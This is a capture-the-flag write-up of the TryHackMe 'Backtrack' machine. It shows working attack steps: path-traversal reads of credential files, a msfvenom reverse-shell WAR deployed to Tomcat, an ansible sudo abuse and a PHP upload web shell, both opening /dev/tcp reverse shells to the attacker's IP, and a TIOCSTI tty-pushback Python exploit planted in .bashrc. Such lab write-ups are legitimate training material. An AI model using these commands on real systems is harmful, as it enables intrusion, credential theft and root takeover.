Posts backtrack machine
Post
Cancel

backtrack machine

Introduction

Backtrack is the room created by tryhackme,0utc4st and YoloSaimo

Detailled walkthrough on how i successfully compromised and obtainned user and root flags.

LESSON LEARNED IN THIS MACHINE

  1. Web application Enumeration
  2. Exploiting Local File inclusion
  3. Remote files Enumeration via LFI
  4. Exploiting apache Tomcat to RCE
  5. User privilege escalation
  6. Exploiting vulnerable Linux binaries
  7. Root privilege escalation through TTY push back

Methodolgy

  1. Enumeration and Scanning
  2. Vulnerability Analysis
  3. Penetration testing
  4. Gaining initial access
  5. User Privilege escalation - Pivoting attack
  6. Root Privilege escalation
  7. Reporting

Enumeration and Scanning

  • Testing if ip address is reachable

  • Ping scan result to test if machine is live

1
2
3
4
5
6
7
8
└─$ ping -c 4 10.10.63.114                                                                   
PING 10.10.63.114 (10.10.63.114) 56(84) bytes of data.
64 bytes from 10.10.63.114: icmp_seq=1 ttl=63 time=250 ms
64 bytes from 10.10.63.114: icmp_seq=2 ttl=63 time=289 ms
64 bytes from 10.10.63.114: icmp_seq=3 ttl=63 time=397 ms
64 bytes from 10.10.63.114: icmp_seq=4 ttl=63 time=318 ms

# -c Specify number of responce to receive to prevent infinity responce loop

Port and Service Scanning using Nmap, rustscan and masscan

  • Started with basic Nmap scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ nmap -vvv 10.10.63.114 -Pn -oN nmap-scan
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-02 15:44 EAT
Initiating Parallel DNS resolution of 1 host. at 15:44
Completed Parallel DNS resolution of 1 host. at 15:44, 0.25s elapsed
DNS resolution of 1 IPs took 0.25s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 15:44
Scanning 10.10.63.114 [1000 ports]
Discovered open port 8888/tcp on 10.10.63.114
Discovered open port 22/tcp on 10.10.63.114
Discovered open port 8080/tcp on 10.10.63.114
Completed SYN Stealth Scan at 15:44, 2.56s elapsed (1000 total ports)
Nmap scan report for 10.10.63.114
Host is up, received user-set (0.19s latency).
Scanned at 2025-01-02 15:44:42 EAT for 2s
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE        REASON
22/tcp   open  ssh            syn-ack ttl 63
8080/tcp open  http-proxy     syn-ack ttl 63
8888/tcp open  sun-answerbook syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.90 seconds
           Raw packets sent: 1088 (47.872KB) | Rcvd: 1088 (43.532KB)
  • Rustscan results
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ rustscan -a 10.10.63.114 --ulimit 5000

The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Open 10.10.63.114:22
Open 10.10.63.114:6800
Open 10.10.63.114:8080
Open 10.10.63.114:8888

PORT     STATE SERVICE        REASON
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
6800/tcp open  http            aria2 downloader JSON-RPC
8080/tcp open  http            Apache Tomcat 8.5.93
8888/tcp open  sun-answerbook?
  • Massscan report
1
2
3
4
5
6
7
8
└─# masscan 10.10.63.114 -p1-65535,U:1-65535 --rate=1000 -e tun0 | tee massscan.port
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2025-01-02 12:52:35 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.63.114                                    
Discovered open port 8888/tcp on 10.10.63.114                                  
Discovered open port 6800/tcp on 10.10.63.114                                  
Discovered open port 8080/tcp on 10.10.63.114                                

Summary of port and service scan results

PORT STATESERVICE VERSION
22/tcp openOpenSSH 8.2p1 Ubuntu 4ubuntu0.3
8080/tcp openApache Tomcat 8.5.93
6800/tcp openaria2 downloader JSON-RPC
8888/tcp openAria2 Version 1.35.0


  • Port 6800 It is default port for aria2 RPC interface. Nothing interesting here. For more detail visit: https://aria2.github.io/manual/en/html/aria2c.html#rpc-interface

  • Port 8888 (aria2 webUI)

After visiting the site it was clear that it is aria2 webUI. In settings > server info we found version also.

aria2 webUI
aria2 webUI
  • Port 8080 (Apache Tomcat)
Apache tomcat
apache tomcat


vulnerability assessment

Reseach on all versions of services found

Penetration testing

Testing if our application is vulnerable to LFI Exploiting Apache tomcat jsp upload vulnerability

1
2
3
4
5
6
7
8
9
10
└─$ curl --path-as-is http://10.10.63.114:8888/../../../../../../../../../../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
.....
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:122:MySQL Server,,,:/nonexistent:/bin/false
tomcat:x:1002:1002::/opt/tomcat:/bin/false
orville:x:1003:1003::/home/orville:/bin/bash
wilbur:x:1004:1004::/home/wilbur:/bin/bash

Since we can access local files, Tried looking for sensitive files about other sites hosted in the same server, mostly apache tomcat configuration files

  • Through error message in apache tomcat loggin page we can see the apache tomcat configuration files path.
Apache tomcat config path
apache tomcat config path

Finding the home directory of apache tomcat so as to get user configuration files

  • From the /etc/passwd file we can conclude that tomcat is installed in /opt/ directory. So we can obtain username and password of tomcat by making a request on:
1
tomcat:x:1002:1002::/opt/tomcat:/bin/false
  • Checking server Environment variables since we can not access apache server logs files
1
2
3
4
➜  backtrack curl --path-as-is http://10.10.63.114:8888/../../../../../../../../../../../../../../../../../../../../proc/self/environ --output env.txt

➜  backtrack cat environ.txt 
LANG=C.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOME=/opt/tomcatLOGNAME=tomcatUSER=tomcatINVOCATION_ID=b1cd8edef1ff4a1086e31ee2de1eae8eJOURNAL_STREAM=9:20327%  

Retrieving apache tomcat user configuration file

1
2
3
4
5
6
7
8
9
10
11
12
➜  backtrack curl --path-as-is http://10.10.63.114:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/conf/tomcat-users.xml 

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

  <role rolename="manager-script"/>
  <user username="tomcat" password="[REDACTED]" roles="manager-script"/>

</tomcat-users>
  • since our roles are limited to roles="manager-script"/, we can only exploiting malicious jsp upload vulnerability in apache tomcat via curl.

  • Payload generation with msfvenom

    1
    2
    3
    4
    
    └─$ msfvenom -p java/jsp_shell_reverse_tcp lhost=10.21.123.111 lport=4444 -f war -o shell.war
    Payload size: 1099 bytes
    Final size of war file: 1099 bytes
    Saved as: shell.war
    

Gaining initial access

  • Upload malicious paylod
1
2
3
4
└─$ curl -u 'tomcat:[REDACTED]' --upload-file shell.war "http://10.10.63.114:8080/manager/text/deploy?path=/shell&update=true"
OK - Deployed application at context path [/shell]

# visiting:http://10.10.63.114:8080/shell in browser of via curl
  • Got shell as user tomcat
Apache tomcat user shell
apache tomcat user shell
  • User Flag
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
    tomcat@Backtrack:/$ cd ~
    tomcat@Backtrack:~$ ls 
    BUILDING.txt     NOTICE         RUNNING.txt  flag1.txt  temp
    CONTRIBUTING.md  README.md      bin          lib        webapps
    LICENSE          RELEASE-NOTES  conf         logs       work
    tomcat@Backtrack:~$ pwd
    /opt/tomcat
    tomcat@Backtrack:~$ cat flag1.txt
    THM{[REDACTED]}
    tomcat@Backtrack:~$ 
    tomcat@Backtrack:~$ 
    

User Privilege escalation - Pivoting attack

  • Checking curret Privilege of user with sudo -l
1
2
3
4
5
6
7
8
9
10
11
12
13
14
tomcat@Backtrack:~$ ls -la /home/
total 16
drwxr-xr-x  4 root    root    4096 Mar  9  2024 .
drwxr-xr-x 20 root    root    4096 Mar 13  2024 ..
drwxrwx---  2 orville orville 4096 Jan  2 14:47 orville
drwxrwx---  2 wilbur  wilbur  4096 Mar  9  2024 wilbur
tomcat@Backtrack:~$ sudo -l
Matching Defaults entries for tomcat on Backtrack:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tomcat may run the following commands on Backtrack:
    (wilbur) NOPASSWD: /usr/bin/ansible-playbook /opt/test_playbooks/*.yml
tomcat@Backtrack:~$ 
1
2
3
4
5
6
7
8
# /tmp/priv.yml
- hosts: localhost
  tasks:
    - name: RShell
      command: bash /tmp/a.sh

# /tmp/a.sh contents
bash -c 'exec bash -i &>/dev/tcp/10.21.123.111/4445 <&1'
  • Shell as user wilbur
1
2
3
4
5
6
7
8
9
10
11
tomcat@Backtrack:/tmp$ sudo -u wilbur /usr/bin/ansible-playbook /opt/test_playbooks/../../tmp/a.yml

packages/ansible/plugins/callback/splunk.py) as it seems to be invalid: module
'lib' has no attribute 'X509_V_FLAG_NOTIFY_POLICY'
.........
PLAY [localhost] ***************************************************************

TASK [Gathering Facts] *********************************************************
ok: [localhost]

TASK [RShell] ******************************************************************
wilbur user shell
wilbur user shell
  • User profile with usable files
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
wilbur@Backtrack:/tmp$ cd ~    
wilbur@Backtrack:~$ ls -la
drwxrwx--- 3 wilbur wilbur 4096 Jan  7 06:41 .
drwxr-xr-x 4 root   root   4096 Mar  9  2024 ..
drwxrwxr-x 3 wilbur wilbur 4096 Jan  7 06:41 .ansible
lrwxrwxrwx 1 root   root      9 Mar  9  2024 .bash_history -> /dev/null
-rw-r--r-- 1 wilbur wilbur 3771 Mar  9  2024 .bashrc
-rw------- 1 wilbur wilbur   48 Mar  9  2024 .just_in_case.txt
lrwxrwxrwx 1 root   root      9 Mar  9  2024 .mysql_history -> /dev/null
-rw-r--r-- 1 wilbur wilbur 1010 Mar  9  2024 .profile
-rw------- 1 wilbur wilbur  461 Mar  9  2024 from_orville.txt
wilbur@Backtrack:~$ cat from_orville.txt    
cat from_orville.txt
Hey Wilbur, it's Orville. I just finished developing the image gallery web app I told you about last week, and it works just fine. However, I'd like you to test it yourself to see if everything works and secure.
I've started the app locally so you can access it from here. I've disabled registrations for now because it's still in the testing phase. Here are the credentials you can use to log in:

email : orville@backtrack.thm
password : [REDACTED]
wilbur@Backtrack:~$ cat .just_in_case.txt
cat .just_in_case.txt
in case i forget :

wilbur:[REDACTED]
wilbur@Backtrack:~$ 
  • Seems they were developing some web app, let’s check running services in TCP/IP of the system
active local ports
active local ports
  • SSH port Forwading so that local port in target can be accessible to our machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ ssh -L 80:127.0.0.1:80 wilbur@10.10.63.114
The authenticity of host '10.10.63.114 (10.10.63.114)' can't be established.
ED25519 key fingerprint is SHA256:0083wvLGeoh6f0CIO11O0TYxt6R1Hr7AB8xEhvgtm+A.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.63.114' (ED25519) to the list of known hosts.
wilbur@10.10.63.114's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-173-generic x86_64)
...............

-Xmx1024M: command not found
wilbur@Backtrack:~$ 
port 80
port 80
  • uploaded malicious php file by bypassing file extention checks like, file.jpg.php.
  • Also the file should be uploaded in diffrent directory rather than /uploads b’cz we can not execute it in there. done by double encodeing ../.
port 80 shell upload
port 80 shell upload
  • Shell as user olivile
1
curl http://127.0.0.1:80/file.jpg.php?cmd="bash -c 'exec bash -i &>/dev/tcp/10.21.123.111/4445 <&1'"
  • listen on port
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─# nc -nlvp 4445                                                                                                     
listening on [any] 4445 ...
connect to [10.21.123.111] from (UNKNOWN) [10.10.63.114] 54252
bash: cannot set terminal process group (540): Inappropriate ioctl for device
bash: no job control in this shell
orville@Backtrack:/var/www/html$ 
orville@Backtrack:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<tml$ python3 -c 'import pty;pty.spawn("/bin/bash")'
orville@Backtrack:/var/www/html$ ^Z
zsh: suspended  nc -nlvp 4445

orville@Backtrack:/var/www/html$ cd /home/orville ; ls -la
drwxrwx--- 2 orville orville   4096 Jan  7 06:57 .
drwxr-xr-x 4 root    root      4096 Mar  9  2024 ..
lrwxrwxrwx 1 root    root         9 Mar  9  2024 .bash_history -> /dev/null
-rw-r--r-- 1 orville orville   3771 Mar  9  2024 .bashrc
lrwxrwxrwx 1 root    root         9 Mar  9  2024 .mysql_history -> /dev/null
-rw-r--r-- 1 orville orville    807 Mar  9  2024 .profile
-rw------- 1 orville orville     38 Mar  9  2024 flag2.txt
-rwx------ 1 orville orville 112448 Jan  7 06:57 web_snapshot.zip
orville@Backtrack:/home/orville$ cat flag2.txt
cat flag2.txt
THM{[REDACTED]}
orville@Backtrack:/home/orville$ 

Root Privilege escalation

  • Uploaded linpease in the target machine to check any missconfigurations no luck.
  • Using process spy tool pspy64
1
2
3
4
# Source: https://github.com/DominicBreuker/pspy/releases
orville@Backtrack:/home/orville$ wget http://<YOUR MACHINE IP>:8000/pspy64
orville@Backtrack:/home/orville$ chmod +x pspy64
orville@Backtrack:/home/orville$ ./pspy64
  • Running it in the target machine and found something interesting.
  • We noticed that root had used a command su - orville to switch users, but the root shell was still running in the background.

su - command When root switched to Orville using this commnad su — orville, it created a new shell for orville. The - in the command basically acts like a full login for Orville. By using an old trick of instead of closing entire session, we can send sigstop signal, and paused the orville shell and switched control back to the root shell, which was still running behind the scenes. TTY pushback attack - more understanding.

  • Creating exploit python script
1
2
3
4
5
6
7
8
9
10
11
12
# eploit.py
#!/usr/bin/env python3
import fcntl
import termios
import os
import sys
import signal

os.kill(os.getppid(), signal.SIGSTOP)

for char in sys.argv[1] + '\n':
    fcntl.ioctl(0, termios.TIOCSTI, char)
  • Then
1
echo "python3 /tmp/eploit.py \"bash -c 'bash -i >& /dev/tcp/10.21.123.111/4446 0>&1'\"" >> ~/.bashrc
  • Listening in other terminal for some time
root-shell
root-shell
finished-finally-finished


This post is licensed under CC BY 4.0 by the author.

Trending Tags

Contents

Trending Tags